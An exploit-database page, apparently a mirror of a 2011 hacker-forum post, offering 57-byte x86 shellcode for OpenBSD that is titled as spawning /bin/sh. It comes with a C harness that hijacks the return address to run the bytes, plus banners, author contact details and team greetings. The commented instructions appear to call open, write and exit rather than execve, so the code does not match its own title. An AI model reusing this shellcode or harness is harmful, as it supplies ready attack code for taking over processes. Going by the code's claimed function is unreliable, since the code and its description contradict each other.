Lucene search
K

OpenBSD/x86 Execve ("/bin/sh") - ShellCode 57 bytes

🗓️ 18 Jun 2011 00:00:00Reported by KedAns-DzType 
zdt
 zdt
🔗 0day.today👁 42 Views

OpenBSD Execve ShellCode 57 bytes by KedAns-Dz, [email protected

Code
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

//======[ Sh3lL C0d3 ]=========>
/*
###
# Title : OpenBSD/x86 Execve ("/bin/sh") - ShellCode 57 bytes
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected]
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com
# Twitter page : twitter.com/kedans
# platform : OpenBSD/x86
# Type : Shellcode - 57 Bytes
##
# +----+ xXx < Greetings to 'indoushka' at the Jail > xXx +----+
##
# Noting to all my friends and my Family : (my BAC 2011 is bosh) -> BAC 2012 I will be coming !
# > Hredtha fe elMATH mo3amil 6 & fe lePHYSICs mo3almil 6 tani makan m4k4n pffff (x_x) ...
# Sah kont CaVa em3a le Engineering Elicrtic m034mil 7 ! mes ma3andha ma t3aWedh 3la loKhrin3
# +----------+ X==================== S x H x I x T ====================X +----------+
###
*/

#include <string.h>

char OpenBSD[]=
"\xEB\x2B"       // jumpme
"\x5E"           // pop %esi
"\x31\xC0"       // xor %eax,%eax
"\x88\x46\x0B"   // mov byte ptr ds:[%esi+b],al
"\x88\x46\x29"   // mov byte ptr ds:[%esi+29],al
"\x50"           // push %eax
"\xB0\x09"       // mov al,9
"\x50"           // push %eax
"\x31\xC0"       // xor %eax,%eax
"\x56"           // push %esi
"\x50"           // push %eax
"\xB0\x05"       // mov al,5
"\xCD\x80"       // int 80
"\x89\xC3"       // mov %ebx,%eax
"\x6A\x1D"       // push 1D
"\x8D\x46\x0C"   // lea %eax, dword ptr ds:[%esi+c]
"\x50"           // push %eax
"\x53"           // push %ebx
"\x50"           // push %eax
"\x31\xC0"       // xor %eax,%eax
"\xB0\x04"       // mov al,4
"\xCD\x80"       // int 80
"\x31\xC0"       // xor %eax,eax
"\xB0\x01"       // mov al,1
"\xCD\x80"       // int 80
"\xE8\xD0\xFF\xFF\xFF"   // call .string
"\x2F\x62\x69\x6e\x2F\x73\x68"; // .string (/bin/sh)

main()
{
   int *ret;
   printf("\n%d\n",sizeof(OpenBSD));
   ret=(int*)&ret+2;
   (*ret)=(int)OpenBSD;
}

/*
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * Kalashinkov3 * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team & Liyan Oz (www.dis9.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever 
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation